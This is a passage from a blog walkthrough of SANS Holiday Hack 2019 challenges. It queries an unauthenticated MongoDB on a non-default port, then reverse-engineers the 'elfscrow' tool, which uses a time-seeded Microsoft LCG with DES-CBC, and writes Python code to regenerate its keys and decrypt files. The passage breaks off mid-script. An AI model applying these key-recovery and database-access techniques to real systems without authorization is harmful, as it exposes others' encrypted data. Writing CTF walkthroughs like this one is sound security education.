<span class="gp">000Odl;</span><span class="p">;</span>:ok000koc<span class="p">;;</span>cok0K0kdl::cdk0KKOxo::ldOKKK0xoccox0KKK0kocldOKKKK0xooxOKKKKK
<span class="go">0000000O0000000000O0KKK0KKKK00KKKK0KKKKK0KKKK0KKKKKKKKKK0KKKKKKKKKO0KKKKKKKKOkKK
c::ldO000Oxl:cok0KKKOxl:cdk0KKKOdl:cok0KK0kdl:cok0KK0xoccldk0K0kocccldOK0kocccco
</span><span class="gp">;</span><span class="p">;;;;;</span>cxl<span class="p">;;;;</span>::::okc::::::::dxc::::::::odc::::::::ol:ccllcccclcccodocccccccdkklc
<span class="go">
Hello dear player! Won't you please come help me get my wish!
I'm searching teacher's database, but all I find are fish!
Do all his boating trips effect some database dilution?
It should not be this hard for me to find the quiz solution!
Find the solution hidden in the MongoDB on this system.
</span><span class="gp">elf@aa816f0ac957:~$</span><span class="w">
</span></code></pre></div></div>
<p>Alright, so we need to find the teachers database and find the quiz solutions! Seems easy enough. Let’s start by opening a command line to interact with the database by using the <a href="https://linux.die.net/man/1/mongo">mongo</a> command.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@aa816f0ac957:~$</span><span class="w"> </span>mongo
<span class="go">MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:27017
2020-01-22T00:49:57.905+0000 W NETWORK [thread1] Failed to connect to 127.0.0.1:27017, in(checking socket for error after poll), reason: Connection refused
2020-01-22T00:49:57.905+0000 E QUERY [thread1] Error: couldn't connect to server 127.0.0.1:27017, connection attempt failed :
connect@src/mongo/shell/mongo.js:251:13
@(connect):1:6
exception: connect failed
Hmm... what if Mongo isn't running on the default port?
</span></code></pre></div></div>
<p>Hmm… interesting. Right away we see that we aren’t able to connect to mongo’s default port of 27017. Well, we can easily check what port mongo is running on by executing the <a href="https://linux.die.net/man/1/ps">ps</a> command to list all running processes on the system, along with more information such as the user running the process, command line arguments ran by the process, etc.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@aa816f0ac957:~$</span><span class="w"> </span>ps aux
<span class="go">USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
elf 1 0.0 0.0 18508 3360 pts/0 Ss 00:45 0:00 /bin/bash
mongo 9 0.5 0.1 1018684 63392 ? Sl 00:45 0:02 /usr/bin/mongod --quiet --fork --
elf 52 0.0 0.0 34400 2948 pts/0 R+ 00:51 0:00 ps aux
</span></code></pre></div></div>
<p>Well it seems that we got a command line argument, and we see something about our mongo process, but unfortunately the text for the command is cut off!</p>
<p>Not to fear though! Using some linux foo and the <a href="https://linux.die.net/man/1/awk">awk</a> command we can cut out just the commands, like so.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@aa816f0ac957:~$</span><span class="w"> </span>ps aux | <span class="nb">awk</span> <span class="nt">-v</span> <span class="nv">p</span><span class="o">=</span><span class="s1">'COMMAND'</span> <span class="s1">'NR==1 {n=index($0, p); next} {print substr($0, n)}'</span>
<span class="go">/bin/bash
/usr/bin/mongod --quiet --fork --port 12121 --bind_ip 127.0.0.1 --logpath=/tmp/mongo.log
/bin/bash
ps aux
</span><span class="gp">awk -v p=COMMAND NR==1 {n=index($</span>0, p<span class="o">)</span><span class="p">;</span> next<span class="o">}</span> <span class="o">{</span>print substr<span class="o">(</span><span class="nv">$0</span>, n<span class="o">)}</span>
</code></pre></div></div>
<p>Nice, so we now see that the mongod process is running on port 12121. With this information, we can try connecting to the database again and specify the specific port we want to connect to by using the <code class="language-plaintext highlighter-rouge">--port</code> parameter.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">elf@aa816f0ac957:~$</span><span class="w"> </span>mongo <span class="nt">--port</span> 12121
<span class="go">MongoDB shell version v3.6.3
connecting to: mongodb://127.0.0.1:12121/
MongoDB server version: 3.6.3
Welcome to the MongoDB shell.
For interactive help, type "help".
For more comprehensive documentation, see
http://docs.mongodb.org/
Questions? Try the support group
http://groups.google.com/group/mongodb-user
Server has startup warnings:
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten]
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten] ** WARNING: Access control is not enabled for the database.
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten] ** Read and write access to data and configuration is unrestricted.
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten]
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten]
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten] ** WARNING: /sys/kernel/mm/transparent_hugepage/enabled is 'always'.
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten] ** We suggest setting it to 'never'
2020-01-22T00:45:29.764+0000 I CONTROL [initandlisten]
</span><span class="gp">></span><span class="w">
</span></code></pre></div></div>
<p>And we’re in, perfect! Let’s list all the databases now to see if we can find the teachers database.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span>show dbs
<span class="go">admin 0.000GB
config 0.000GB
elfu 0.000GB
local 0.000GB
test 0.000GB
</span></code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">elfu</code> database seems promising, so let’s select that one for use, and then list all the collection (tables) that are stored within that database.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span>use elfu
<span class="go">switched to db elfu
</span><span class="gp">></span><span class="w"> </span>show collections
<span class="go">bait
chum
line
metadata
solution
system.js
tackle
tincan
</span></code></pre></div></div>
<p>Right away we spot the <code class="language-plaintext highlighter-rouge">solution</code> table, so all we have to do is read that table and list all the contents. We can use mongo’s <a href="https://docs.mongodb.com/manual/reference/method/db.collection.find/">db.collection.find()</a> command for this.</p>
<p>What this command does is it selects documents in a collection or view and returns a <a href="https://docs.mongodb.com/manual/reference/glossary/#term-cursor">cursor</a> to the selected documents, which is simply a pointer to the result set of a <a href="https://docs.mongodb.com/manual/reference/glossary/#term-query">query</a>.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span>db.solution.find<span class="o">()</span>
<span class="gp">{ "_id" : "You did good! Just run the command between the stars: ** db.loadServerScripts();</span>displaySolution<span class="o">()</span><span class="p">;</span> <span class="k">**</span><span class="s2">" }
</span></code></pre></div></div>
<p>Nice, so we seem to have found the solution! All we need to do is execute the command provided to us.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">></span><span class="w"> </span>db.loadServerScripts<span class="o">()</span><span class="p">;</span>displaySolution<span class="o">()</span><span class="p">;</span>
<span class="go">
</span><span class="c"> .
</span><span class="go"> __/ __
/
/.'o'.
.o.'.
.'.'o'.
o'.o.'.*.
.'.o.'.'.*.
.o.'.o.'.o.'.
[_____]
___/
Congratulations!!
</span></code></pre></div></div>
<p>And there we have it, we completed the terminal challenge! Easy!</p>
<h3 id="recover-cleartext-document">Recover Cleartext Document</h3>
<p>Upon successfully completing the Mongo Pilfer CranPi we can talk to Holly again for more hints that will allow us to complete the next objective.</p>
<p align="center"><a href="/images/hh19-157.png"><img src="/images/hh19-157.png" /></a></p>
<p>For this objective, we need to recover the plaintext content from this <a href="https://downloads.elfu.org/ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc">encrypted document</a>. All we know is that it was encrypted on December 6, 2019, between 7pm and 9pm UTC.</p>
<p>Upon looking into the objective we learn that the <a href="https://downloads.elfu.org/elfscrow.exe">Elfscrow Crypto</a> tool is a vital asset used at Elf University for encrypting SUPER SECRET documents. Unfortunately we can’t get the source, but we do get some <a href="https://downloads.elfu.org/elfscrow.pdb">debug symbols</a> that we can use.</p>
<p>Before we continue on with this challenge, I highly recommend you go and watch the <a href="https://youtu.be/obJdpKDpFBA">Reversing Crypto the Easy Way</a> KringleCon talk that was provided to us as a hint by Holly, as it will better help us understand what we need to do.</p>
<p>Since this is a Reverse Engineering challenge, I’ll try to do my best on explaining how I completed the challenge. For me. solving this challenge involved utilizing both <a href="https://www.hex-rays.com/products/ida/">IDA</a> and <a href="https://www.immunityinc.com/products/debugger/">Immunity Debugger</a> to better understand what is really going on under the hood of this encryption tool.</p>
<p>Overall, I might have complicated the process, but after doing my OSCE, I really liked making sure I fully understood how something works before I wrote an exploit or tool. So with that out of the way, let’s jump into it!</p>
<p>For starters, once you download the <code class="language-plaintext highlighter-rouge">elfscrow.exe</code> tool, we should play around with it to figure out how it work, what options we can use, and all that. If you downloaded this tool on Kali, then you can use <a href="https://www.winehq.org/">wine</a> to run the windows exe.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>wine elfscrow.exe
<span class="go">Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
* WARNING: You're reading from stdin. That only partially works, use at your own risk!
** Please pick --encrypt or --decrypt!
Are you encrypting a file? Try --encrypt! For example:
</span><span class="gp"> Z:\root\HH\elfscrow_crypto\elfscrow.exe --encrypt <infile></span><span class="w"> </span><outfile>
<span class="go">
You'll be given a secret ID. Keep it safe! The only way to get the file
back is to use that secret ID to decrypt it, like this:
</span><span class="gp"> Z:\root\HH\elfscrow_crypto\elfscrow.exe --decrypt --id=<secret_id></span><span class="w"> </span><infile> <outfile>
<span class="go">
You can optionally pass --insecure to use unencrypted HTTP. But if you
do that, you'll be vulnerable to packet sniffers such as Wireshark that
could potentially snoop on your traffic to figure out what's going on!
</span></code></pre></div></div>
<p>From the start we can see that there are three options provided by this tool, <code class="language-plaintext highlighter-rouge">--encrypt</code> and <code class="language-plaintext highlighter-rouge">--decrypt</code> are self-explanatory, and then we also have <code class="language-plaintext highlighter-rouge">--insecure</code> which seems to use HTTP instead of HTTPS.</p>
<p>Okay, so let’s see what kind of traffic this tool generates. Let’s start up wireshark, and attempt to decrypt the encrypted ElfU research PDF, while also passing the insecure parameter.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>wine elfscrow.exe <span class="nt">--decrypt</span> <span class="nt">--id</span><span class="o">=</span><span class="s2">"test"</span> ElfUResearchLabsSuperSledOMaticQuickStartGuideV1.2.pdf.enc decrypted.pdf
<span class="go">Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Let's see if we can find your key...
Retrieving the key from: /api/retrieve
Uh oh, an error happened! Please don't tell Santa :(
HTTP 400: Bad identifier - must be a UUID
</span></code></pre></div></div>
<p>We can see that we need a valid UUID to be passed inside the <code class="language-plaintext highlighter-rouge">id</code> parameter to retrieve the key. Well, let’s take a look at the network traffic generated by this.</p>
<p align="center"><a href="/images/hh19-158.png"><img src="/images/hh19-158.png" /></a></p>
<p align="center"><a href="/images/hh19-159.png"><img src="/images/hh19-159.png" /></a></p>
<p>The network traffic doesn’t really reveal much to us, except the fact that it’s reaching out to some sort of API endpoints (in this case <code class="language-plaintext highlighter-rouge">/api/retrieve</code>) to retrieve the decryption key from a provided UUID.</p>
<p>Okay, well since we need a UUID, let’s go ahead and encrypt a test file to see what kind of data/keys are generated for us.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>wine elfscrow.exe <span class="nt">--encrypt</span> test.txt test.txt.enc <span class="nt">--insecure</span>
<span class="go">Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
*** WARNING: This traffic is using insecure HTTP and can be logged with tools such as Wireshark
Our miniature elves are putting together random bits for your secret key!
Seed = 1578005170
Generated an encryption key: 8879363da3759d36 (length: 8)
Elfscrowing your key...
Elfscrowing the key to: elfscrow.elfu.org/api/store
Your secret id is 04b57639-e474-4276-8294-4aa9e0d6427f - Santa Says, don't share that key with anybody!
File successfully encrypted!
++=====================++
|| ||
|| ELF-SCROW ||
|| ||
|| ||
|| ||
|| O ||
|| | ||
|| | (O)- ||
|| | ||
|| | ||
|| ||
|| ||
|| ||
|| ||
|| ||
++=====================++
</span></code></pre></div></div>
<p>Okay, this has a lot of information we can use! We can see three very important items presented to us by this tool. First of all, we get the UUID that we need to retrieve the keys from the server, second of all we get our encryption key that is 8 bytes in length, and finally we also see a seed!</p>
<p>Usually this data shouldn’t be presented to the end user, reason why is because by having the key and seed we can try and to figure out how the encryption works. That way, we can then write our own key generation tool that can be used to crack or decrypt files.</p>
<p>But hold on, that seed looks very odd. If we remember correctly, the objective states that the document was encrypted on December 6, 2019, between 7pm and 9pm UTC. What’s the chance that this seed is simply the current time in linux?</p>
<p align="center"><a href="/images/hh19-160.png"><img src="/images/hh19-160.png" /></a></p>
<p>If we attempt to convert the seed to human readable time, we do in fact see that the seed is the current system time! Perfect, so we solved one piece of the puzzle!</p>
<p>Usually having something like this as a seed generator isn’t really secure, as it’s easily enumerable and guessable and can lead to someone cracking your encryption if it’s not implemented properly.</p>
<p>Okay, so with the information we gathered here, let’s move over to a Windows VM and open the elfscrow encryption tool binary in IDA so we can utilize the debug symbols that came with it. This way we will be able to see the proper function names and variables used in the tool.</p>
<p>Once on windows, after you open the elfscrow tool in IDA for disassembly, we can import the debug symbols by going to <strong>File -> Load file -> PDB file…</strong> which will open a new window.</p>
<p align="center"><a href="/images/hh19-161.png"><img src="/images/hh19-161.png" /></a></p>
<p>In that new window, locate the <code class="language-plaintext highlighter-rouge">elfscrow.pdb</code> file that we downloaded, select it, and press OK.</p>
<p align="center"><a href="/images/hh19-162.png"><img src="/images/hh19-162.png" /></a></p>
<p>If that loads successfully, then we should be able to see all function names used in the binary, instead of random junk like <strong>func_0123456</strong>.</p>
<p align="center"><a href="/images/hh19-163.png"><img src="/images/hh19-163.png" /></a></p>
<p>Alright, so this is where stuff gets a little tricky since we will be diving directly into IDA. Using IDA should be pretty self-explanatory and I’ll try to explain as best as I can, but if you’d like - you can read the <a href="http://www-verimag.imag.fr/~mounier/Enseignement/Software_Security/BH_Eagle_ida_pro.pdf">Reverse Engineering with Ida Pro</a> slides by Chris Eagle to get a better idea of how to use it.</p>
<p>You can also read my <a href="https://jhalon.github.io/2018-google-ctf-beginners-re-solutions/">Google CTF (2018): Beginners Quest - Reverse Engineering Solutions</a> blog post as I go over how to use IDA for cross referencing functions and string, finding strings, etc.</p>
<p>Upon looking into the function names in the <strong>Functions window</strong> on the left-hand side, we notice one very interesting function called <strong>generate_key</strong>. So let’s double click that, which should bring us the disassembly window for that function definition.</p>
<p align="center"><a href="/images/hh19-164.png"><img src="/images/hh19-164.png" /></a></p>
<p>Closely inspecting this, we can see that the <a href="https://www.geeksforgeeks.org/time-function-in-c/">time</a> function is being called, and is being passed as a parameter into the <strong>super_secure_srand</strong> function. This function simply just prints the epoch time to the screen, and is setting that time as our seed for further use.</p>
<p>After that “secure random number” is generated, if we look a little further down the application flow path, we will see the following.</p>
<p align="center"><a href="/images/hh19-165.png"><img src="/images/hh19-165.png" /></a></p>
<p>In <strong>loc_401E31</strong> we see that the program is setting up a loop, as determined by the <a href="https://c9x.me/x86/html/file_module_x86_id_35.html">cmp</a> or compare instruction. Notice that it is comparing the value in <code class="language-plaintext highlighter-rouge">[ebp+var_4]</code> to the value <code class="language-plaintext highlighter-rouge">8</code>. If the compared value is equal to 8, we <a href="https://c9x.me/x86/html/file_module_x86_id_147.html">jmp</a> or jump to <strong>loc_401E4F</strong> and call the <strong>generate_key</strong> function, otherwise we continue with the application flow to the left.</p>
<p>In the continued application flow within the loop we call the <strong>super_secure_random</strong> function. So that’s pretty interesting to us as it’s different from the “secure random” one we just saw.</p>
<p>So, if we double click on that function, we should be able to see the disassembly for it.</p>
<p align="center"><a href="/images/hh19-166.png"><img src="/images/hh19-166.png" /></a></p>
<p>Note that I converted some of those values within that function from hex to decimal to better see what values are being passed into the registers.</p>
<p>From the top, we can see that the <strong>super_secure_random</strong> function is using the <a href="https://c9x.me/x86/html/file_module_x86_id_176.html">mov</a> or move instruction to move the value of <strong>state</strong> into the <code class="language-plaintext highlighter-rouge">eax</code> register. In this case the state parameter would be our seed generated by the <strong>super_secure_srand</strong> function.</p>
<p>Next, it’s taking the <strong>state</strong> parameter and it’s performing an <a href="https://c9x.me/x86/html/file_module_x86_id_138.html">imul</a> against it, which simply performs a signed multiplication of two operands. In this case, state is multiplied by <strong>214013</strong> and the return value is passed into the <code class="language-plaintext highlighter-rouge">eax</code> register.</p>
<p>Next, the binary performs a simple <a href="https://c9x.me/x86/html/file_module_x86_id_5.html">add</a> instruction by adding <strong>2531011</strong> into the <code class="language-plaintext highlighter-rouge">eax</code> register. It’s then taking the value stored in <code class="language-plaintext highlighter-rouge">eax</code> and putting it back into our <strong>state</strong> variable, which will be used for out second loop, hence the <code class="language-plaintext highlighter-rouge">cmp</code> instruction in <code class="language-plaintext highlighter-rouge">loc_401E31</code> as we spoke about previously.</p>
<p>Next, the last few instructions in the function take the value in <code class="language-plaintext highlighter-rouge">eax</code> which is our currently modified seed, and perform an <a href="https://x86.puri.sm/html/file_module_x86_id_12.html">and</a> operation or a bitwise AND operation against it with the value of <strong>0x7FFFFFFF</strong>.</p>
<p>Once that’s done, the <a href="https://c9x.me/x86/html/file_module_x86_id_285.html">sar</a> operation is carried out against the value in <code class="language-plaintext highlighter-rouge">eax</code> which shifts the bits of the destination operand to the right by <strong>16</strong>.</p>
<p>Finally, if we look back to the program flow, we will see that the <code class="language-plaintext highlighter-rouge">movezx ecx, al</code> instruction is carried out, which gets the <a href="https://en.wikipedia.org/wiki/Bit_numbering">LSB</a> or least significant bit of the hex value from <code class="language-plaintext highlighter-rouge">eax</code>, moves it to <code class="language-plaintext highlighter-rouge">ecx</code> and then carries out another bitwise AND operation against <code class="language-plaintext highlighter-rouge">ecx</code> by using the value of <strong>0xFF</strong>.</p>
<p align="center"><a href="/images/hh19-165.png"><img src="/images/hh19-165.png" /></a></p>
<p>Once that’s completed this function loops around 8 times, and reuses the modified <strong>state</strong> parameter after the multiplication and addition manipulations were done to it.</p>
<p>Overall, seeing the application take the LSB of the <code class="language-plaintext highlighter-rouge">eax</code> parameter tells me that this might be 1 byte of the 8-byte generated key.</p>
<p>Alright, so we know what the application is doing, but first we need to figure out what kind of encryption this is, or what kind of generator we are using.</p>
<p>If we google the <code class="language-plaintext highlighter-rouge">imul</code> value of <strong>214013</strong> we will learn that this is a <a href="https://en.wikipedia.org/wiki/Linear_congruential_generator">linear congruential generator</a>, which is simply is an <a href="https://en.wikipedia.org/wiki/Algorithm">algorithm</a> that yields a sequence of pseudo-randomized numbers calculated with a discontinuous <a href="https://en.wikipedia.org/wiki/Piecewise_linear_function">piecewise linear equation</a>.</p>
<p align="center"><a href="/images/hh19-167.png"><img src="/images/hh19-167.png" /></a></p>
<p>And if we follow the Wikipedia link, and look at the common parameter use, we will see that that value is used for Microsoft!</p>
<p align="center"><a href="/images/hh19-168.png"><img src="/images/hh19-168.png" /></a></p>
<p>To validate this even further, in IDA if we press <strong>Shift+F12</strong> and look though the strings, we validate that the <a href="https://docs.microsoft.com/en-us/windows/win32/seccrypto/microsoft-enhanced-cryptographic-provider">Microsoft Enhanced Cryptographic Provider</a> is being utilized!</p>
<p align="center"><a href="/images/hh19-169.png"><img src="/images/hh19-169.png" /></a></p>
<p>Also, thankfully Microsoft provides us a table which highlights the difference between what kind of encryption algorithms this encryption provider can use.</p>
<p align="center"><a href="/images/hh19-169-2.png"><img src="/images/hh19-169-2.png" /></a></p>
<p>If you look closely, we can see that <a href="https://en.wikipedia.org/wiki/Data_Encryption_Standard">DES</a> or the Data Encryption Standard which is a symmetric-key algorithm, uses a base provider key length of 56 bits, which is 7 bytes long! This is exactly the same length as our key (remember, we start a key array at 0, so 7 bytes is a total length of 0 to 7 or 8 in total if we include 0)!</p>
<p>Okay awesome, so we know how the application generates its seed, it’s keys and what encryption it uses. Now the question is, how can we write an exploit or tool to decrypt the document using this?</p>
<p>Well if we return to our previous google search and follow the first link from Rosetta Code, we will see that they provide code examples for creating <a href="https://rosettacode.org/wiki/Linear_congruential_generator">linear congruential generators</a> in any language!</p>
<p>If we scroll down, we will find an example in python!</p>
<p align="center"><a href="/images/hh19-170.png"><img src="/images/hh19-170.png" /></a></p>
<p>Awesome! We actually have a code example that we can use to generate our keys!</p>
<p>So using what we learned from reverse engineering the application, and this code example, let’s write a simple proof of concept to generate a new key!</p>
<p>Since we encrypted a test file previously, let’s use the seed and key that was generated for us by the elfscrow tool. We do this so we can compare our output and make sure that it in fact is generating the correct key.</p>
<p>Once that’s done, our python code will look like so:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">def</span> <span class="nf">generate_key</span><span class="p">(</span><span class="n">seed</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">org_seed</span> <span class="o">=</span> <span class="n">seed</span>
<span class="k">while</span> <span class="p">(</span><span class="n">x</span> <span class="o"><</span> <span class="mi">8</span><span class="p">):</span>
<span class="n">org_seed</span> <span class="o">=</span> <span class="p">(</span><span class="mi">214013</span><span class="o">*</span><span class="n">seed</span> <span class="o">+</span> <span class="mi">2531011</span><span class="p">)</span>
<span class="n">seed</span> <span class="o">=</span> <span class="p">(</span><span class="mi">214013</span><span class="o">*</span><span class="n">seed</span> <span class="o">+</span> <span class="mi">2531011</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0x7fffffff</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">seed</span> <span class="o">>></span> <span class="mi">16</span>
<span class="n">lsb</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">seed</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">lsb</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">):</span>
<span class="n">lsb</span> <span class="o">=</span> <span class="n">lsb</span><span class="p">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">key</span> <span class="o">+=</span> <span class="n">lsb</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">org_seed</span>
<span class="n">x</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">key</span>
<span class="n">seed</span> <span class="o">=</span> <span class="mi">1578008540</span>
<span class="n">key</span> <span class="o">=</span> <span class="n">generate_key</span><span class="p">(</span><span class="n">seed</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Expected Key: 852b4834572d1d62"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Generated Key: "</span> <span class="o">+</span> <span class="n">key</span><span class="p">)</span>
</code></pre></div></div>
<p>Once the script is completed, let’s execute it and see what we get!</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>python3 decrypt.py
<span class="go">Expected Key: 852b4834572d1d62
Generated Key: 852b4834572d1d62
</span></code></pre></div></div>
<p>Awesome, we have a working key generator that generates a valid key from our seed!</p>
<p>Now before we continue, some of you might be asking my what that <code class="language-plaintext highlighter-rouge">lsb.zfill(2)</code> line does.</p>
<p>Well, simply <a href="https://www.tutorialspoint.com/python/string_zfill.htm">zfill</a> pads string on the left with zeros. This is done because during some of my reverse engineering efforts I noticed that when my script returned a least significant bit that contained a 0, such as <code class="language-plaintext highlighter-rouge">0x0F</code> it would strip the 0 and only pass <code class="language-plaintext highlighter-rouge">F</code> into the key.</p>
<p>So I implemented a little check. Simply I check to see if my LSB is less than 2 bytes. If it is, I know that there was a 0 stripped from it, and we use zfill to add it back.</p>
<p>Cool, so we have the key generator working! Now all that’s left to do is to figure out the decryption. We already know that this is DES, but we need to figure out what kind of padding is used.</p>
<p>If we look back into the function names, we will see a function called <strong>do_decrypt</strong>. If we double click that function and follow the graph (application flow) we will spot that the application utilizes <strong>DES-CBC</strong> as per the <a href="https://docs.microsoft.com/en-us/windows/win32/api/wincrypt/nf-wincrypt-cryptimportkey">CryptImportKey function</a>.</p>
<p align="center"><a href="/images/hh19-171.png"><img src="/images/hh19-171.png" /></a></p>
<p>Now all that’s left is to implement the decryption function in python. This is easily implemented by using pythons <a href="https://pycryptodome.readthedocs.io/en/latest/src/cipher/des.html">Single DES</a> package.</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">in_file</span><span class="p">,</span> <span class="n">out_file</span><span class="p">):</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="n">DES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="nb">bytes</span><span class="p">.</span><span class="n">fromhex</span><span class="p">(</span><span class="n">key</span><span class="p">),</span> <span class="n">DES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span> <span class="sa">b</span><span class="s">'</span><span class="se">\0</span><span class="s">'</span><span class="o">*</span><span class="mi">8</span><span class="p">)</span>
<span class="n">infile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">in_file</span><span class="p">,</span> <span class="s">'rb'</span><span class="p">)</span>
<span class="n">data</span> <span class="o">=</span> <span class="n">infile</span><span class="p">.</span><span class="n">read</span><span class="p">()</span>
<span class="n">outfile</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">out_file</span><span class="p">,</span> <span class="s">'wb'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"Decrypting File..."</span><span class="p">)</span>
<span class="n">outfile</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">cipher</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">))</span>
<span class="k">print</span><span class="p">(</span><span class="s">"File Saved As: "</span> <span class="o">+</span> <span class="n">out_file</span><span class="p">)</span>
</code></pre></div></div>
<p>Alright, now that we have that, we need to test this. So let’s start by creating a test file and encrypting it.</p>
<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span><span class="nb">cat </span>test.txt
<span class="go">This is a test!
</span><span class="gp">root@kali:~/HH/elfscrow_crypto#</span><span class="w"> </span>wine elfscrow.exe <span class="nt">--encrypt</span> test.txt test.txt.enc
<span class="go">Welcome to ElfScrow V1.01, the only encryption trusted by Santa!
Our miniature elves are putting together random bits for your secret key!
Seed = 1578097585
Generated an encryption key: 6532547fb69b4569 (length: 8)
Elfscrowing your key...
Elfscrowing the key to: elfscrow.elfu.org/api/store
Your secret id is c2720899-057f-425a-bd25-2232c9e4f923 - Santa Says, don't share that key with anybody!
File successfully encrypted!
</span></code></pre></div></div>
<p>Okay so we encrypted a document called <code class="language-plaintext highlighter-rouge">test.txt</code>. We also have our seed and expected key. Let’s go ahead and update our python script to use these values, and automatically decrypt our encrypted document, which we saved as <code class="language-plaintext highlighter-rouge">test.txt.enc</code>.</p>
<p>Out updated python script will look something like this:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">DES</span>
<span class="k">def</span> <span class="nf">generate_key</span><span class="p">(</span><span class="n">seed</span><span class="p">):</span>
<span class="n">x</span> <span class="o">=</span> <span class="mi">0</span>
<span class="n">key</span> <span class="o">=</span> <span class="s">""</span>
<span class="n">org_seed</span> <span class="o">=</span> <span class="n">seed</span>
<span class="k">while</span> <span class="p">(</span><span class="n">x</span> <span class="o"><</span> <span class="mi">8</span><span class="p">):</span>
<span class="n">org_seed</span> <span class="o">=</span> <span class="p">(</span><span class="mi">214013</span><span class="o">*</span><span class="n">seed</span> <span class="o">+</span> <span class="mi">2531011</span><span class="p">)</span>
<span class="n">seed</span> <span class="o">=</span> <span class="p">(</span><span class="mi">214013</span><span class="o">*</span><span class="n">seed</span> <span class="o">+</span> <span class="mi">2531011</span><span class="p">)</span> <span class="o">&</span> <span class="mh">0x7fffffff</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">seed</span> <span class="o">>></span> <span class="mi">16</span>
<span class="n">lsb</span> <span class="o">=</span> <span class="nb">hex</span><span class="p">(</span><span class="n">seed</span> <span class="o">&</span> <span class="mh">0xFF</span><span class="p">)[</span><span class="mi">2</span><span class="p">:]</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">lsb</span><span class="p">)</span> <span class="o"><</span> <span class="mi">2</span><span class="p">):</span>
<span class="n">lsb</span> <span class="o">=</span> <span class="n">lsb</span><span class="p">.</span><span class="n">zfill</span><span class="p">(</span><span class="mi">2</span><span class="p">)</span>
<span class="n">key</span> <span class="o">+=</span> <span class="n">lsb</span>
<span class="n">seed</span> <span class="o">=</span> <span class="n">org_seed</span>
<span class="n">x</span> <span class="o">+=</span> <span class="mi">1</span>
<span class="k">return</span> <span class="n">key</span>
<span class="k">def</span> <span class="nf">decrypt</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">in_file</span><span class="p">,</span> <span class="n">out_file</span><span class="p">):</span>
